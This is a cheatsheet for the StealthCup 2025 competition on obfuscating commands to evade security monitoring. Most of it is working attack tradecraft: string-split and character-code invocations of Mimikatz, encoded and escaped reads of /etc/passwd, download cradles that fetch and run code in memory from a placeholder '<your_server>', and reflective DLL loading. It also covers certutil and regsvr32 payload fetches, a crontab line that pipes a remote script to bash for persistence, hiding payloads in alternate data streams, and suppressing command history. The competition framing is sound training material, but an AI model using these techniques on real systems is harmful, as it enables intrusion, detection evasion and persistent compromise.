StealthCup 2025: Command Obfuscation Cheatsheet

This cheatsheet focuses on techniques to obfuscate commands and activities to avoid detection by security monitoring systems in the StealthCup environment. Command obfuscation is a critical component of alert evasion, helping you achieve objectives while minimizing detection.

1. PowerShell Obfuscation Techniques

PowerShell is heavily monitored but offers many obfuscation possibilities.

- **String Manipulation**:
  - **Concatenation**: Split strings to avoid signature detection.

```
# Instead of:
Invoke-Mimikatz

# Use:
$a = 'Invoke-'; $b = 'Mimi'; $c = 'katz'; Invoke-Expression ($a+$b+$c)
```

  - **Character Codes**: Use character codes to build strings.

```
# Instead of:
Invoke-Mimikatz

# Use:
Invoke-Expression ([char]73+[char]110+[char]118+[char]111+[char]107+
[char]101+[char]45+[char]77+[char]105+[char]109+[char]105+[char]107+
[char]97+[char]116+[char]122)
```

- **Encoding Techniques**:
  - **Base64 Encoding**: Encode entire scripts or commands.

```
# Encode a command
$Command = "Get-Process"
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Command)
$EncodedCommand = [Convert]::ToBase64String($Bytes)

# Execute encoded command
powershell.exe -EncodedCommand $EncodedCommand
```

  - **Compression**: Compress scripts before encoding.

```
# Compress and encode
$Command = "Your long PowerShell script here"
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Command)
$CompressedStream = New-Object IO.MemoryStream
$DeflateStream = New-Object IO.Compression.DeflateStream
($CompressedStream, [IO.Compression.CompressionMode]::Compress)
$DeflateStream.Write($Bytes, 0, $Bytes.Length)
$DeflateStream.Close()
$CompressedBytes = $CompressedStream.ToArray()
$EncodedCommand = [Convert]::ToBase64String($CompressedBytes)

# Execute (requires decompression code)
```

- **Case Manipulation**: PowerShell is case-insensitive.

```
# All of these work the same
Invoke-Expression
iNvOkE-eXpResSiOn
INVOKE-EXPRESSION
```

- **Alias Usage**: Use built-in aliases or create custom ones.

```
# Instead of:
Invoke-Expression

# Use the alias:
iex

# Or create custom aliases:
Set-Alias -Name x -Value Invoke-Expression
x "Get-Process"
```

- **Parameter Manipulation**:
  - **Partial Parameters**: PowerShell allows shortened parameter names.

```
# Instead of:
Get-Process -Name notepad

# Use:
Get-Process -n notepad
```

  - **Positional Parameters**: Use position instead of parameter names.

```
# Instead of:
Get-Process -Name notepad

# Use:
Get-Process notepad
```

2. Bash/Shell Obfuscation Techniques

For Linux systems, bash offers several obfuscation methods.

- **Variable Substitution**:

```
# Instead of:
cat /etc/passwd

# Use:
a='c'; b='a'; c='t'; d=' '; e='/etc/passwd'; $a$b$c$d$e
```

- **Command Substitution**:

```
# Instead of:
cat /etc/passwd

# Use:
$(echo c)$(echo a)$(echo t) $(echo /etc/passwd)
```

- **Hex/Octal Encoding**:

```
# Instead of:
cat /etc/passwd

# Use hex encoding:
$(echo -e "\x63\x61\x74") $(echo -e
"\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")

# Or use octal encoding:
$(echo -e "\143\141\164") $(echo -e
"\57\145\164\143\57\160\141\163\163\167\144")
```

- **Base64 Encoding**:

```
# Encode a command
echo "cat /etc/passwd" | base64
# Y2F0IC9ldGMvcGFzc3dkCg==
```

```
# Execute encoded command
echo "Y2F0IC9ldGMvcGFzc3dkCg==" | base64 -d | bash
```

- **IFS (Internal Field Separator) Manipulation**:

```
# Instead of:
cat /etc/passwd

# Use:
IFS=_;c=c_a_t_;p=/_e_t_c_/_p_a_s_s_w_d;$c $p
```

- **Backslash Escaping**:

```
# Instead of:
cat /etc/passwd

# Use:
c\a\t /\e\t\c/\p\a\s\s\w\d
```

3. Command Execution Obfuscation

These techniques focus on how commands are executed rather than the commands themselves.

- **Alternative Execution Methods**:
  - **Bash Execution Operators**:

```
# Different ways to execute commands
`cat /etc/passwd`  # Backticks
$(cat /etc/passwd)  # Command substitution
eval "c"a"t /e"t"c/pa"s"swd"  # Eval with split strings
```

  - **PowerShell Execution Methods**:

```
# Different ways to execute commands
& "Get-Process"  # Call operator
. "Get-Process"  # Dot sourcing
Invoke-Expression "Get-Process"  # IEX
```

- **Environment Variable Usage**:

```
# Bash
export CMD="cat /etc/passwd"
$CMD

# PowerShell
$env:CMD = "Get-Process"
Invoke-Expression $env:CMD
```

- **Input/Output Redirection**:

```
# Use input redirection
bash <<< "cat /etc/passwd"

# Use here-documents
bash << 'EOF'
cat /etc/passwd
EOF
```

4. Fileless Execution Techniques

Avoid writing to disk to minimize forensic evidence.

- **Memory-Only Execution**:
  - **PowerShell Download Cradle**:

```
# Download and execute in memory
IEX (New-Object
Net.WebClient).DownloadString('http://<your_server>/script.ps1')

# Alternative methods
IEX (Invoke-WebRequest -Uri 'http://<your_server>/script.ps1' -
UseBasicParsing).Content

# Using .NET directly
IEX ([System.Text.Encoding]::ASCII.GetString((New-Object
Net.WebClient).DownloadData('http://<your_server>/script.ps1')))
```

  - **Bash In-Memory Execution**:

```
# Download and execute in memory
curl -s http://<your_server>/script.sh | bash

# Alternative method
wget -q -O - http://<your_server>/script.sh | bash
```

- **Process Injection**:
  - **PowerShell Reflection**:

```
# Load assembly in memory
$bytes = (New-Object
Net.WebClient).DownloadData('http://<your_server>/payload.dll')
[System.Reflection.Assembly]::Load($bytes)

# Or for direct execution
$assembly = [System.Reflection.Assembly]::Load($bytes)
$entryPoint = $assembly.GetType('Namespace.Class').GetMethod('Method')
$entryPoint.Invoke($null, $null)
```

5. Living Off The Land (LOL) Techniques

Use legitimate system tools for malicious purposes.

- **Alternative Data Streams (Windows)**:

```
# Hide data in alternate data streams
Add-Content -Path "legitimate.txt" -Value "malicious content" -Stream
"hidden"

# Execute from ADS
wmic process call create "powershell -command `"Get-Content -Path
legitimate.txt -Stream hidden | Invoke-Expression`""
```

- **Trusted Utilities**:
  - **Windows**:

```
# Use certutil for file downloads
certutil.exe -urlcache -split -f "http://<your_server>/payload.exe"
payload.exe

# Use regsvr32 for code execution
regsvr32.exe /s /u /i:http://<your_server>/payload.sct scrobj.dll
```

  - **Linux**:

```
# Use wget with different user-agent
wget --user-agent="Mozilla/5.0" http://<your_server>/payload

# Use crontab for persistence
```

```
(crontab -l 2>/dev/null; echo "* * * * * curl -s
http://<your_server>/script.sh | bash") | crontab -
```

6. Obfuscation Tools

While custom obfuscation is preferred, these tools can help (use with caution as they may be detected):

- **PowerShell**:
  - **Invoke-Obfuscation**: PowerShell script obfuscator
  - **ISE-Steroids**: PowerShell obfuscation module
  - **Out-EncryptedScript**: Encrypts PowerShell scripts
- **Bash/Shell**:
  - **bashfuscator**: Bash obfuscation framework
  - **shc**: Shell script compiler (converts scripts to binaries)

7. StealthCup-Specific Obfuscation Strategies

- **Blend with Expected Activity**:
  - During AD enumeration, use commands that mimic administrative tasks
  - For OT systems, use commands that look like monitoring or maintenance
- **Minimize Command History**:

```
# Bash: Prepend space to command (won't be saved in history)
[space]your_command

# PowerShell: Disable command history temporarily
$OriginalPref = $global:HistoryPref
$global:HistoryPref = "SaveNothing"
# Run commands
$global:HistoryPref = $OriginalPref
```

- **Use Multi-Stage Approaches**:
  - Stage 1: Use minimal, benign-looking commands to establish initial access
  - Stage 2: Use that access to execute more complex obfuscated commands
  - Stage 3: Clean up artifacts when done

Remember: The competition rules explicitly forbid deleting logs or command history. Focus on generating fewer suspicious logs rather than removing them.

Always cross-reference with the Alert Evasion Cheatsheet and Scoring System Cheatsheet.